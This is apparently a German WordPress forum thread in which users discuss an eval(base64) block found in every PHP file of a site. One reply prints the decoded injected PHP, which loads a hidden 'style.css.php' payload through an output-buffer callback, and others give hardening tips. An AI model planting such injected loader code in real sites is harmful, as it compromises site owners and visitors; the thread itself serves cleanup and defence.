eval base 64 code ???

FWIW:

Zitat

bcg 12 June 2009 at 5:38pm
Hi guys
I am aware that Admin SSL has stopped working in WordPress 2.8, I will hopefully have some time over the weekend to look into it and get it working again.
Cheers
bcg

Zitat

bcg 10 July 2009 at 11:45am
Dear all – I’m going to close this page for comments while I work on support for WordPress 2.8, I keep hoping I’ll have a day to do it, hopefully I’ll have some time in the next few days.
bcg

Seither ist Sendepause beim Entwickler des Plugins.

Nicht getestet, aber eine Suche nach dem Stichwort SSL ergab u.a. dies (habe es deshalb gewählt, weil es das aktuelleste Plugin zu sein scheint im moment:

http://wordpress.org/extend/plugins/wpssl/

LG Domi

In welcher Datei hast Du denn den Code? Manche Theme-Entwickler verstecken die Copyright-Notiz in so einem Code.

LG Domi

Eval = Evil

Der base64 lautet entschlüsselt:

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/homepages/u33020/openx/lib/pear/HTML/Template/Flexy/Compiler/Standard/style.css.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}

Ob sicherheitstechnisch bedenklich? Keine Ahnung

Ups, danke Daniel für den Hinweis, wenngleich es nichts Gutes verheisst:

guggsuhir

LG Domi

Was der Code genau macht versteh ich nicht, wie er reinkommen kann. Durch Sicherheitslücken in WP. Durch gehackten Admin Account, durch fehlerhafte Rechte in den Themes, durch Plugin ...

in allen PHP Dateien??? oh shit

Das hatte ich befürchtet - siehe meine Antwort bzw. den Link dort.

LG Domi

Ups sorry soweit war ich noch nicht ;)

Nein, nicht wirklich. Gute .htaccess machen, Zugriffsrechte auf Ordner und Dateien ändern zB: 0755. Ich nehm bei allen Scripts, die ich lade immer die Versionsnummer raus, indem ich sie bei wp_enqueue_script auf '0.0' setze. Weiters den wp_generator Link, Live Writer, etc. Dann weiß der Angreifer wenigstens nicht, bei welcher Version er welche Sicherheitslücke schließen muss. Weiters lange Passwörter ~12 Zeichen mit Sonderzeichen wie "!,",§,.;,,etc." verwenden. Allen Rollen unter Admin mit remove_cap('edit_users') reduzieren, usw.

...Deinem Admin nicht "admin" zum Login geben sondern ein anderen Benutzernamen und darauf achten das dieser nicht die ID 1 hat.

Das Limit Login Attempts Plugin benutzen um Brute Force vorzubeugen.

Hierzu gibt es einen super Artikel von Bueltge (Schnellhilfe wenn WP gehackt wurde)